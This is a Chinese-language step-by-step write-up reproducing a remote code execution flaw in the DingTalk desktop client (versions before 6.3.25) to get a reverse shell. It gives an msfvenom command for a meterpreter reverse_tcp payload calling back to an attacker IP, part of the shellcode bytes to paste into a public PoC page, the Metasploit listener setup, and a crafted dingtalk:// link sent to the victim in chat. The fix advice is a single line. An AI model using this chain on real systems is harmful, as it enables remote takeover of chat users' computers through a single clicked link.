钉钉RCE反弹shell

0x01 影响版本

1
钉钉版本< 6.3.25-Release.2149108

0x02 复现过程

1、环境说明:

1
2
3
4
攻击机:192.168.31.198(Kali Linux)
目标机:192.168.239.135(windows10)
钉钉6.3.5版本下载地址:
https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe

注:此处有个问题,打开旧版钉钉会提示版本过老无法正常登录

解决办法:
在另一台电脑安装最新版的钉钉,打开安装路径,复制staticconfig.xml文件替换到旧版即可,之后正常登录,记得把自动登录勾选上。然后在软件内设置不自动更新,退出后再把原先的配置文件覆盖回来即可解决乱码问题。其实不解决乱码问题也能触发payload。

2、msf生成shellcode:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=8834 -f csharp

3、替换payload里的shellcode

1
2
3
4
5
项目地址:https://github.com/crazy0x70/dingtalk-RCE

替换项目中test.html中的shellcode,需要替换的位置为
var shellcode=new Uint8Array([0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28...])

4、msf监听反弹端口

1
2
3
4
5
use exploit/multi/handler
set LHOST 192.168.31.198
set LPORT 8834
set payload windows/meterpreter/reverse_tcp
run

5、开启web服务,构造poc发送给目标机

1
poc:dingtalk://dingtalkclient/page/link?url=http://192.168.31.198:8080/dingding.html&pc_slide=true

6、payload触发

  • 如果按照上面的方式操作,软件不会乱码,直接发送在聊天框点击触发即可
  • 乱码情况下直接在浏览器访问引导触发也可以

点击打开,kali就能反弹到shell

0x03 修复建议

更新到最新版即可